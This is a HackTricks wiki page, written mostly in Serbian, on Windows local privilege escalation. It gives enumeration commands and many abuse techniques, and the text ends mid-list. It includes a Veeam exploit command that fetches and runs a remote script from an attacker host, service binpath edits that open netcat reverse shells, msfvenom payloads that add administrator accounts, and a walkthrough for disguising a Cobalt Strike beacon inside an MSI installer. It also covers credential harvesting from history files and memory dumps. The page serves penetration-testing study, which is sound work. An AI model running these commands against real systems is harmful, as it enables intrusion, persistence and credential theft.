Windows Local Privilege Escalation

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Najbolji alat za pronalaženje Windows lokalnih privilege escalation vektora: WinPEAS

Početna Windows teorija

Access Tokens

Ako ne znaš šta su Windows Access Tokens, pročitaj sledeću stranicu pre nego što nastaviš:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Pogledaj sledeću stranicu za više informacija o ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Ako ne znaš šta su integrity levels u Windows-u, trebalo bi da pročitaš sledeću stranicu pre nego što nastaviš:

Integrity Levels

Windows Security Controls

Postoje različite stvari u Windows-u koje bi mogle sprečiti da enumerišeš sistem, pokrećeš executable fajlove ili čak detektuju tvoje aktivnosti. Trebalo bi da pročitaš sledeću stranicu i enumerišeš sve ove defense mechanisms pre nego što počneš sa privilege escalation enumeracijom:

Windows Security Controls

Admin Protection / UIAccess silent elevation

UIAccess procesi pokrenuti kroz RAiLaunchAdminProcess mogu biti zloupotrebljeni da se dođe do High IL bez promptova kada se zaobiđu AppInfo secure-path provere. Pogledaj namenski UIAccess/Admin Protection bypass workflow ovde:

Uiaccess Admin Protection Bypass

Secure Desktop accessibility registry propagation može biti zloupotrebljen za arbitrary SYSTEM registry write (RegPwn):

Secure Desktop Accessibility Registry Propagation LPE (RegPwn)

System Info

Version info enumeration

Proveri da li Windows verzija ima neku poznatu vulnerability (proveri i primenjene patches).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

This site je koristan za traženje detaljnih informacija o Microsoft security vulnerabilities. Ova baza podataka ima više od 4,700 security vulnerabilities, što pokazuje ogromnu attack surface koju Windows okruženje predstavlja.

On the system

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Locally with system information

Github repos of exploits:

Environment

Da li su neki credential/Juicy info sačuvani u env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell History

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transcript fajlovi

Možete naučiti kako da ovo uključite na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Detalji izvršavanja PowerShell pipeline-ova se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda neće biti zabeleženi.

Da biste ovo omogućili, pratite uputstva u odeljku “Transcript files” dokumentacije, i izaberite “Module Logging” umesto “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Da biste videli poslednjih 15 događaja iz PowersShell logova, možete izvršiti:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Potpun zapis aktivnosti i pun sadržaj izvršavanja skripte se hvata, obezbeđujući da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatnu audit evidenciju svake aktivnosti, što je korisno za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršavanja, pružaju se detaljni uvidi u proces.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Dnevni događaji za Script Block mogu se pronaći u Windows Event Viewer-u na putanji: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Da biste videli poslednjih 20 događaja možete koristiti:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet Settings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Diskovi

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Možete kompromitovati sistem ako se update-ovi ne traže preko httpS, već preko http.

Počinjete tako što proverite da li mreža koristi WSUS update bez SSL-a, pokretanjem sledećeg u cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ili sledeće u PowerShell-u:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Ako dobijete odgovor kao što je jedan od ovih:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 exposes a localhost service on TCP/9401 that processes attacker-controlled messages, allowing arbitrary commands as NT AUTHORITY\SYSTEM.

  • Recon: confirm the listener and version, e.g., netstat -ano | findstr 9401 and (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: place a PoC such as VeeamHax.exe with the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Servis izvršava komandu kao SYSTEM.

KrbRelayUp

Postoji local privilege escalation ranjivost u Windows domain okruženjima pod određenim uslovima. Ti uslovi uključuju okruženja gde LDAP signing is not enforced, korisnici imaju self-rights koji im omogućavaju da konfigurišu Resource-Based Constrained Delegation (RBCD), i mogućnost korisnika da kreiraju računare unutar domain-a. Važno je napomenuti da su ovi zahtevi ispunjeni korišćenjem default settings.

Pronađi exploit in https://github.com/Dec0ne/KrbRelayUp

Za više informacija o toku napada pogledaj https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Ako su ova 2 registry-ja omogućena (vrednost je 0x1), onda korisnici bilo kog privilegija mogu da instaliraju (izvrše) *.msi fajlove kao NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Ako imate meterpreter session, možete automatizovati ovu tehniku koristeći modul exploit/windows/local/always_install_elevated

PowerUP

Koristite Write-UserAddMSI komandu iz power-up da u trenutnom direktorijumu napravite Windows MSI binarni fajl za eskalaciju privilegija. Ovaj script upisuje unapred kompajlirani MSI installer koji traži dodavanje user/group (pa će vam trebati GIU access):

Write-UserAddMSI

Samo izvrši kreirani binarni fajl da bi eskalirao privilegije.

MSI Wrapper

Pročitaj ovaj tutorijal da naučiš kako da napraviš MSI wrapper koristeći ovaj alat. Imajte na umu da možeš da wrap-uješ “.bat” fajl ako samo želiš da izvršiš komande

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generiši sa Cobalt Strike ili Metasploit novi Windows EXE TCP payload u C:\privesc\beacon.exe
  • Otvori Visual Studio, izaberi Create a new project i ukucaj “installer” u polje za pretragu. Izaberi Setup Wizard projekat i klikni Next.
  • Daj projektu ime, kao AlwaysPrivesc, koristi C:\privesc za lokaciju, izaberi place solution and project in the same directory, i klikni Create.
  • Nastavi da klikćeš Next dok ne dođeš do koraka 3 od 4 (choose files to include). Klikni Add i izaberi Beacon payload koji si upravo generisao. Zatim klikni Finish.
  • Označi projekat AlwaysPrivesc u Solution Explorer i u Properties, promeni TargetPlatform sa x86 na x64.
  • Postoje i druga svojstva koja možeš promeniti, kao što su Author i Manufacturer, što može učiniti da instalirana aplikacija izgleda legitimnije.
  • Desni klik na projekat i izaberi View > Custom Actions.
  • Desni klik na Install i izaberi Add Custom Action.
  • Dvostruki klik na Application Folder, izaberi svoj fajl beacon.exe i klikni OK. Ovo će obezbediti da se beacon payload izvrši čim se instalater pokrene.
  • U okviru Custom Action Properties, promeni Run64Bit na True.
  • Na kraju, build it.
  • Ako se prikaže upozorenje File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', proveri da li si podesio platformu na x64.

MSI Installation

Da bi izvršio instalaciju zlonamernog .msi fajla u background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Da biste iskoristili ovu ranjivost, možete koristiti: exploit/windows/local/always_install_elevated

Antivirus i Detectors

Audit Settings

Ove postavke odlučuju šta se loguje, pa treba da obratite pažnju

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, je korisno znati gde se logovi šalju

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS je dizajniran za upravljanje lozinkama lokalnog Administratora, obezbeđujući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima pridruženim domenu. Ove lozinke se bezbedno čuvaju unutar Active Directory i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACLs, što im omogućava da vide lokalne admin lozinke ako su autorizovani.

LAPS

WDigest

Ako je aktivan, plain-text lozinke se čuvaju u LSASS (Local Security Authority Subsystem Service).
Više informacija o WDigest na ovoj stranici.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Počevši od Windows 8.1, Microsoft je uveo poboljšanu zaštitu za Local Security Authority (LSA) kako bi blokirao pokušaje nepoverenih procesa da čitaju njegovu memoriju ili ubace code, dodatno obezbeđujući sistem.
Više informacija o LSA Protection ovde.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard je predstavljen u Windows 10. Njegova svrha je da zaštiti kredencijale sačuvane na uređaju od pretnji kao što su pass-the-hash napadi.| Više informacija o Credentials Guard ovde.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Keširani kredencijali

Domain credentials autentifikuje Local Security Authority (LSA) i koriste ih komponente operativnog sistema. Kada se logon podaci korisnika autentifikuju pomoću registrovanog security package-a, za korisnika se obično uspostavljaju domain credentials.
Više informacija o Cached Credentials ovde.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Korisnici i grupe

Nabroj korisnike i grupe

Treba da proveriš da li neke od grupa kojima pripadaš imaju zanimljive dozvole

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegovane grupe

Ako pripadaš nekoj privilegovanoj grupi, možda ćeš moći da eskaliraš privilegije. Saznaj više o privilegovanim grupama i kako da ih zloupotrebiš za eskalaciju privilegija ovde:

Privileged Groups

Manipulacija tokenima

Saznaj više o tome šta je token na ovoj stranici: Windows Tokens.
Pogledaj sledeću stranicu da saznaš više o zanimljivim tokenima i kako da ih zloupotrebiš:

Abusing Tokens

Prijavljeni korisnici / Sesije

qwinsta
klist sessions

Početni folderi

dir C:\Users
Get-ChildItem C:\Users

Pravila lozinki

net accounts

Dobijanje sadržaja clipboard-a

powershell -command "Get-Clipboard"

Pokrenuti procesi

Dozvole za fajlove i foldere

Pre svega, pri listanju procesa proverite da li postoje lozinke u komandnoj liniji procesa.
Proverite da li možete prepisati neki binarni fajl koji je pokrenut ili da li imate dozvole za upis u folder sa binarnim fajlom kako biste iskoristili moguće DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Uvek proveri da li postoje electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Provera dozvola binarnih fajlova procesa

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Provera dozvola foldera binarnih datoteka procesa (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Mining lozinki iz memorije

Možete kreirati memory dump procesa koji je u radu koristeći procdump iz sysinternals. Servisi kao što je FTP imaju credentials u plain text-u u memoriji, pokušajte da dump-ujete memoriju i pročitate credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Insecure GUI apps

Aplikacije koje rade kao SYSTEM mogu omogućiti korisniku da pokrene CMD, ili da pregleda direktorijume.

Primer: “Windows Help and Support” (Windows + F1), potraži “command prompt”, klikni na “Click to open Command Prompt”

Services

Service Triggers omogućavaju Windows-u da pokrene service kada se dese određeni uslovi (aktivnost named pipe/RPC endpoint, ETW events, dostupnost IP adrese, dolazak uređaja, GPO refresh, itd.). Čak i bez SERVICE_START prava često možeš pokrenuti privilegovane services tako što okineš njihove triggers. Vidi tehnike za enumeration i activation ovde:

Service Triggers

Get a list of services:

net start
wmic service list brief
sc query
Get-Service

Dozvole

Možete koristiti sc da biste dobili informacije o servisu

sc qc <service_name>

Preporučuje se da imate binarni fajl accesschk iz Sysinternals kako biste proverili potreban nivo privilegija za svaku uslugu.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Preporučuje se da proverite da li “Authenticated Users” mogu da menjaju bilo koji servis:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Možete preuzeti accesschk.exe za XP ovde

Omogući servis

Ako imate ovu grešku (na primer sa SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Možete ga omogućiti koristeći

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Uzmite u obzir da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)

Još jedno zaobilazno rešenje za ovaj problem je pokretanje:

sc.exe config usosvc start= auto

Izmeni putanju binarnog fajla servisa

U scenariju gde grupa “Authenticated users” poseduje SERVICE_ALL_ACCESS nad servisom, moguće je izmeniti izvršni binarni fajl servisa. Da izmeniš i izvršiš sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart usluge

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegije mogu biti eskalirane kroz različite dozvole:

  • SERVICE_CHANGE_CONFIG: Omogućava rekonfiguraciju servisnog binary-ja.
  • WRITE_DAC: Omogućava rekonfiguraciju dozvola, što vodi do mogućnosti menjanja konfiguracije servisa.
  • WRITE_OWNER: Dozvoljava preuzimanje vlasništva i rekonfiguraciju dozvola.
  • GENERIC_WRITE: Nasleđuje mogućnost menjanja konfiguracije servisa.
  • GENERIC_ALL: Takođe nasleđuje mogućnost menjanja konfiguracije servisa.

Za detekciju i eksploataciju ove ranjivosti, može se koristiti exploit/windows/local/service_permissions.

Services binaries weak permissions

Proveri da li možeš da menjaš binary koji izvršava servis ili da li imaš write dozvole na folder u kome se binary nalazi (DLL Hijacking).
Možeš dobiti svaki binary koji izvršava servis pomoću wmic (ne u system32) i proveriti svoje dozvole pomoću icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Takođe možete koristiti sc i icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Dozvole za modifikaciju service registry-ja

Treba da proverite da li možete da modifikujete bilo koji service registry.
Možete proveriti svoje dozvole nad service registry-jem tako što ćete:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Treba proveriti da li Authenticated Users ili NT AUTHORITY\INTERACTIVE imaju FullControl dozvole. Ako imaju, binary koji servis izvršava može biti izmenjen.

Da biste promenili Path binary-ja koji se izvršava:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Neke Windows Accessibility funkcije kreiraju per-user ATConfig ključeve koji se kasnije kopiraju od strane SYSTEM procesa u HKLM session ključ. Registry symbolic link race može preusmeriti to privilegovano pisanje u bilo koju HKLM putanju, dajući arbitraran HKLM value write primitiv.

Ključne lokacije (primer: On-Screen Keyboard osk):

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs navodi instalirane accessibility funkcije.
  • HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature> čuva korisnički kontrolisanu konfiguraciju.
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature> se kreira tokom logon/secure-desktop prelaza i korisnik ga može upisivati.

Abuse flow (CVE-2026-24291 / ATConfig):

  1. Popunite HKCU ATConfig vrednost koju želite da SYSTEM upiše.
  2. Pokrenite secure-desktop copy (npr. LockWorkstation), što pokreće AT broker flow.
  3. Pobedi race tako što ćete postaviti oplock na C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml; kada se oplock aktivira, zamenite HKLM Session ATConfig ključ sa registry link-om ka zaštićenoj HKLM meti.
  4. SYSTEM upisuje vrednost koju je napadač izabrao u preusmerenu HKLM putanju.

Kada imate arbitraran HKLM value write, pređite na LPE prepisivanjem service configuration vrednosti:

  • HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath (EXE/command line)
  • HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll (DLL)

Izaberite service koji normalan korisnik može da pokrene (npr. msiserver) i aktivirajte ga nakon upisa. Napomena: javna exploit implementacija zaključava workstation kao deo race-a.

Primer alata (RegPwn BOF / standalone):

beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver

Services registry AppendData/AddSubdirectory permissions

Ako imate ovu dozvolu nad registry, to znači da možete da kreirate podregistry iz ovog. U slučaju Windows services, ovo je dovoljno za izvršavanje proizvoljnog koda:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Ako putanja do executable nije unutar navodnika, Windows će pokušati da izvrši svaku završnicu pre razmaka.

Na primer, za putanju C:\Program Files\Some Folder\Service.exe Windows će pokušati da izvrši:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Izlistaj sve unquoted service paths, isključujući one koji pripadaju ugrađenim Windows servisima:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Možete detektovati i iskoristiti ovu ranjivost pomoću metasploit: exploit/windows/local/trusted\_service\_path Možete ručno kreirati service binary pomoću metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows omogućava korisnicima da specifikuju akcije koje će se preduzeti ako servis zakaže. Ova funkcija može biti podešena da pokazuje na binary. Ako se ovaj binary može zameniti, privilege escalation može biti moguć. Više detalja možete pronaći u official documentation.

Applications

Installed Applications

Proverite permissions of the binaries (možda možete da prepišete jedan i escalirate privileges) i folders (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Dozvole za pisanje

Proveri da li možeš da izmeniš neku config datoteku kako bi pročitao neku posebnu datoteku ili da li možeš da izmeniš neki binary koji će biti izvršen nalogom Administratora (schedtasks).

Jedan način da pronađeš slabe dozvole foldera/datoteka na sistemu je:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ automatski učitava svaki plugin DLL unutar svojih plugins podfoldera. Ako postoji writable portable/copy instalacija, ubacivanje malicioznog plugin-a daje automatsko izvršavanje koda unutar notepad++.exe pri svakom pokretanju (uključujući iz DllMain i plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Run at startup

Proveri da li možeš da pregaziš neki registry ili binary koji će biti izvršen od strane drugog korisnika.
Pročitaj sledeću stranicu da bi naučio više o zanimljivim autoruns lokacijama za eskalaciju privilegija:

Privilege Escalation with Autoruns

Drivers

Traži moguće third party weird/vulnerable drivere

driverquery
driverquery.exe /fo table
driverquery /SI

Ako driver izlaže arbitrary kernel read/write primitive (uobičajeno kod loše dizajniranih IOCTL handlera), možeš da eskaliraš tako što ćeš direktno ukrasti SYSTEM token iz kernel memorije. Pogledaj korak-po-korak tehniku ovde:

Arbitrary Kernel Rw Token Theft

Za race-condition bugs gde ranjivi poziv otvara Object Manager putanju pod kontrolom napadača, namerno usporavanje lookup-a (koristeći max-length komponente ili duboke directory lance) može da proširi prozor sa mikrosekundi na desetine mikrosekundi:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Modern hive vulnerabilities omogućavaju da napraviš deterministic layouts, zloupotrebiš writable HKLM/HKU descendants, i pretvoriš metadata corruption u kernel paged-pool overflow-e bez custom driver-a. Nauči ceo lanac ovde:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Neki signed third‑party driver-i kreiraju svoj device object sa jakim SDDL preko IoCreateDeviceSecure, ali zaborave da postave FILE_DEVICE_SECURE_OPEN u DeviceCharacteristics. Bez ovog flag-a, secure DACL se ne primenjuje kada se device otvara kroz putanju koja sadrži dodatnu komponentu, što omogućava bilo kom unprivileged korisniku da dobije handle koristeći namespace path kao:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (iz realnog slučaja)

Kada korisnik može da otvori device, privileged IOCTLs koje izlaže driver mogu da se zloupotrebe za LPE i tampering. Primeri mogućnosti primećeni u praksi:

  • Vraćanje handle-ova sa punim pristupom ka proizvoljnim procesima (token theft / SYSTEM shell preko DuplicateTokenEx/CreateProcessAsUser).
